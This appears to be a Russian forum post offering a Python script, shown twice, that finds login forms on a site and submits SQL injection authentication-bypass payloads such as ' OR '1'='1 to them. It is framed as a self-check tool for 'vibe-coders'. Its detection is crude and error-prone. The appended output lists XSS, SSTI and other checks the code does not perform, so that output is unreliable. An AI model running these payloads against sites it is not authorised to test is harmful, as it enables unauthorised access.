Скрипт для проверки ресурса на уязвимость к SQL-инъекции. Вайб-кодерам, которые пишут сайты Скрипт import requests from bs4 import BeautifulSoup import logging from urllib.parse import urljoin logging.basicConfig( level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', handlers=[ logging.FileHandler('web_security_scanner.log'), logging.StreamHandler() ] ) logger = logging.getLogger('LZT_AntiVibe') class WebSecurityScanner: """ Класс для сканирования веб-сайтов на наличие уязвимостей. """ def __init__(self, user_agent=None, timeout=10): """ Инициализация сканера. Args: user_agent (str): Пользовательский User-Agent. timeout (int): Таймаут для HTTP-запросов. """ self.session = requests.Session() self.session.headers.update({ 'User-Agent': user_agent or 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept-Language': 'en-US,en;q=0.5' }) self.timeout = timeout def find_auth_forms(self, base_url): """ Ищет все формы аутентификации на странице. Args: base_url (str): URL для сканирования. Returns: list: Список словарей с информацией о формах. """ try: response = self.session.get(base_url, timeout=self.timeout) soup = BeautifulSoup(response.text, 'html.parser') auth_forms = [] for form in soup.find_all('form'): form_data = { 'action': form.get('action', ''), 'method': form.get('method', 'get').upper(), 'inputs': [] } for inp in form.find_all(['input', 'textarea', 'select']): input_data = { 'name': inp.get('name', ''), 'type': inp.get('type', 'text'), 'value': inp.get('value', '') } form_data['inputs'].append(input_data) form_text = str(form).lower() auth_keywords = ['login', 'sign', 'auth', 'password', 'username'] if any(keyword in form_text for keyword in auth_keywords): auth_forms.append(form_data) return auth_forms except Exception as e: logger.error(f"Ошибка при поиске форм аутентификации на {base_url}: {e}") return [] def check_sql_injection(self, target_url, form_data): """ Проверяет форму на уязвимость SQL-инъекции. Args: target_url (str): Базовый URL формы. form_data (dict): Информация о форме. Returns: bool: True если уязвимость обнаружена. """ try: action_url = form_data['action'] full_url = urljoin(target_url, action_url) payloads = [ "' OR '1'='1", "' OR 1=1 --", '" OR "" = "', 'admin" --' ] params = {} for inp in form_data['inputs']: if inp['name']: if 'password' in inp['name'].lower(): params[inp['name']] = 'test' + payloads[0] else: params[inp['name']] = 'test' + payloads[0] if form_data['method'] == 'POST': response = self.session.post(full_url, data=params, timeout=self.timeout) else: response = self.session.get(full_url, params=params, timeout=self.timeout) indicators = [ 'welcome', 'dashboard', 'logout', 'success', 'logged in', 'admin panel', 'invalid syntax', 'error in your sql syntax' ] response_text = response.text.lower() if any(indicator in response_text for indicator in indicators): logger.warning(f"Возможная уязвимость SQL-инъекции обнаружена на {full_url}") return True logger.info(f"Уязвимость SQL-инъекции не обнаружена на {full_url}") return False except Exception as e: logger.error(f"Ошибка при проверке SQL-инъекции: {e}") return False def scan_website(self, base_url): """ Полное сканирование веб-сайта на уязвимости. Args: base_url (str): URL для сканирования. Returns: list: Список уязвимых форм. """ logger.info(f"\n=== Начато сканирование сайта: {base_url} ===") auth_forms = self.find_auth_forms(base_url) logger.info(f"\nНайдено {len(auth_forms)} форм аутентификации") vulnerable_forms = [] for i, form in enumerate(auth_forms, 1): form_url = urljoin(base_url, form.get('action', '')) or base_url logger.info(f"\n[Форма {i}] Проверка формы по адресу: {form_url}") logger.info(f"Метод: {form.get('method', 'GET')}") logger.info(f"Поля формы: {[inp['name'] for inp in form['inputs'] if inp['name']]}") vulnerable = self.check_sql_injection(base_url, form) if vulnerable: logger.warning(f"=== ВНИМАНИЕ: Обнаружена уязвимая форма ===") logger.warning(f"URL формы: {form_url}") logger.warning(f"Метод: {form.get('method', 'GET')}") logger.warning(f"Поля: {[inp['name'] for inp in form['inputs'] if inp['name']]}") vulnerable_forms.append({ 'url': form_url, 'method': form.get('method', 'GET'), 'fields': [inp['name'] for inp in form['inputs'] if inp['name']] }) else: logger.info(f"Форма безопасна: {form_url}") # Итоговый отчет logger.info("\n=== Результаты сканирования ===") logger.info(f"Проверено форм: {len(auth_forms)}") logger.info(f"Найдено уязвимых форм: {len(vulnerable_forms)}") for i, vuln_form in enumerate(vulnerable_forms, 1): logger.warning(f"\nУязвимая форма #{i}:") logger.warning(f"URL: {vuln_form['url']}") logger.warning(f"Метод: {vuln_form['method']}") logger.warning(f"Поля: {', '.join(vuln_form['fields'])}") return vulnerable_forms if __name__ == "__main__": scanner = WebSecurityScanner(timeout=15) target_url = "https://example.com" # Замените на реальный URL для тестирования vulnerable_forms = scanner.scan_website(target_url) if vulnerable_forms: print("\n=== ИТОГОВЫЙ ОТЧЕТ ===") print(f"Найдено уязвимых форм: {len(vulnerable_forms)}") for i, form in enumerate(vulnerable_forms, 1): print(f"\nУязвимая форма #{i}:") print(f"URL: {form['url']}") print(f"Метод: {form['method']}") print(f"Поля: {', '.join(form['fields'])}") else: print("\nУязвимые формы не обнаружены.") Python import requests from bs4 import BeautifulSoup import logging from urllib.parse import urljoin logging.basicConfig( level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', handlers=[ logging.FileHandler('web_security_scanner.log'), logging.StreamHandler() ] ) logger = logging.getLogger('LZT_AntiVibe') class WebSecurityScanner: """ Класс для сканирования веб-сайтов на наличие уязвимостей. """ def __init__(self, user_agent=None, timeout=10): """ Инициализация сканера. Args: user_agent (str): Пользовательский User-Agent. timeout (int): Таймаут для HTTP-запросов. """ self.session = requests.Session() self.session.headers.update({ 'User-Agent': user_agent or 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept-Language': 'en-US,en;q=0.5' }) self.timeout = timeout def find_auth_forms(self, base_url): """ Ищет все формы аутентификации на странице. Args: base_url (str): URL для сканирования. Returns: list: Список словарей с информацией о формах. """ try: response = self.session.get(base_url, timeout=self.timeout) soup = BeautifulSoup(response.text, 'html.parser') auth_forms = [] for form in soup.find_all('form'): form_data = { 'action': form.get('action', ''), 'method': form.get('method', 'get').upper(), 'inputs': [] } for inp in form.find_all(['input', 'textarea', 'select']): input_data = { 'name': inp.get('name', ''), 'type': inp.get('type', 'text'), 'value': inp.get('value', '') } form_data['inputs'].append(input_data) form_text = str(form).lower() auth_keywords = ['login', 'sign', 'auth', 'password', 'username'] if any(keyword in form_text for keyword in auth_keywords): auth_forms.append(form_data) return auth_forms except Exception as e: logger.error(f"Ошибка при поиске форм аутентификации на {base_url}: {e}") return [] def check_sql_injection(self, target_url, form_data): """ Проверяет форму на уязвимость SQL-инъекции. Args: target_url (str): Базовый URL формы. form_data (dict): Информация о форме. Returns: bool: True если уязвимость обнаружена. """ try: action_url = form_data['action'] full_url = urljoin(target_url, action_url) payloads = [ "' OR '1'='1", "' OR 1=1 --", '" OR "" = "', 'admin" --' ] params = {} for inp in form_data['inputs']: if inp['name']: if 'password' in inp['name'].lower(): params[inp['name']] = 'test' + payloads[0] else: params[inp['name']] = 'test' + payloads[0] if form_data['method'] == 'POST': response = self.session.post(full_url, data=params, timeout=self.timeout) else: response = self.session.get(full_url, params=params, timeout=self.timeout) indicators = [ 'welcome', 'dashboard', 'logout', 'success', 'logged in', 'admin panel', 'invalid syntax', 'error in your sql syntax' ] response_text = response.text.lower() if any(indicator in response_text for indicator in indicators): logger.warning(f"Возможная уязвимость SQL-инъекции обнаружена на {full_url}") return True logger.info(f"Уязвимость SQL-инъекции не обнаружена на {full_url}") return False except Exception as e: logger.error(f"Ошибка при проверке SQL-инъекции: {e}") return False def scan_website(self, base_url): """ Полное сканирование веб-сайта на уязвимости. Args: base_url (str): URL для сканирования. Returns: list: Список уязвимых форм. """ logger.info(f"\n=== Начато сканирование сайта: {base_url} ===") auth_forms = self.find_auth_forms(base_url) logger.info(f"\nНайдено {len(auth_forms)} форм аутентификации") vulnerable_forms = [] for i, form in enumerate(auth_forms, 1): form_url = urljoin(base_url, form.get('action', '')) or base_url logger.info(f"\n[Форма {i}] Проверка формы по адресу: {form_url}") logger.info(f"Метод: {form.get('method', 'GET')}") logger.info(f"Поля формы: {[inp['name'] for inp in form['inputs'] if inp['name']]}") vulnerable = self.check_sql_injection(base_url, form) if vulnerable: logger.warning(f"=== ВНИМАНИЕ: Обнаружена уязвимая форма ===") logger.warning(f"URL формы: {form_url}") logger.warning(f"Метод: {form.get('method', 'GET')}") logger.warning(f"Поля: {[inp['name'] for inp in form['inputs'] if inp['name']]}") vulnerable_forms.append({ 'url': form_url, 'method': form.get('method', 'GET'), 'fields': [inp['name'] for inp in form['inputs'] if inp['name']] }) else: logger.info(f"Форма безопасна: {form_url}") # Итоговый отчет logger.info("\n=== Результаты сканирования ===") logger.info(f"Проверено форм: {len(auth_forms)}") logger.info(f"Найдено уязвимых форм: {len(vulnerable_forms)}") for i, vuln_form in enumerate(vulnerable_forms, 1): logger.warning(f"\nУязвимая форма #{i}:") logger.warning(f"URL: {vuln_form['url']}") logger.warning(f"Метод: {vuln_form['method']}") logger.warning(f"Поля: {', '.join(vuln_form['fields'])}") return vulnerable_forms if __name__ == "__main__": scanner = WebSecurityScanner(timeout=15) target_url = "https://example.com" # Замените на реальный URL для тестирования vulnerable_forms = scanner.scan_website(target_url) if vulnerable_forms: print("\n=== ИТОГОВЫЙ ОТЧЕТ ===") print(f"Найдено уязвимых форм: {len(vulnerable_forms)}") for i, form in enumerate(vulnerable_forms, 1): print(f"\nУязвимая форма #{i}:") print(f"URL: {form['url']}") print(f"Метод: {form['method']}") print(f"Поля: {', '.join(form['fields'])}") else: print("\nУязвимые формы не обнаружены.") Вывод
противоположник, [SQL Injection]: Уязвимость обнаружена! [XSS]: Уязвимость не найдена. [File Inclusion]: Уязвимость не найдена. [SSTI]: Уязвимость обнаружена! [Directory Traversal]: Уязвимость не найдена. [Middleware Header]: Нет реакции/ответа. [CAPTCHA]: Не найдена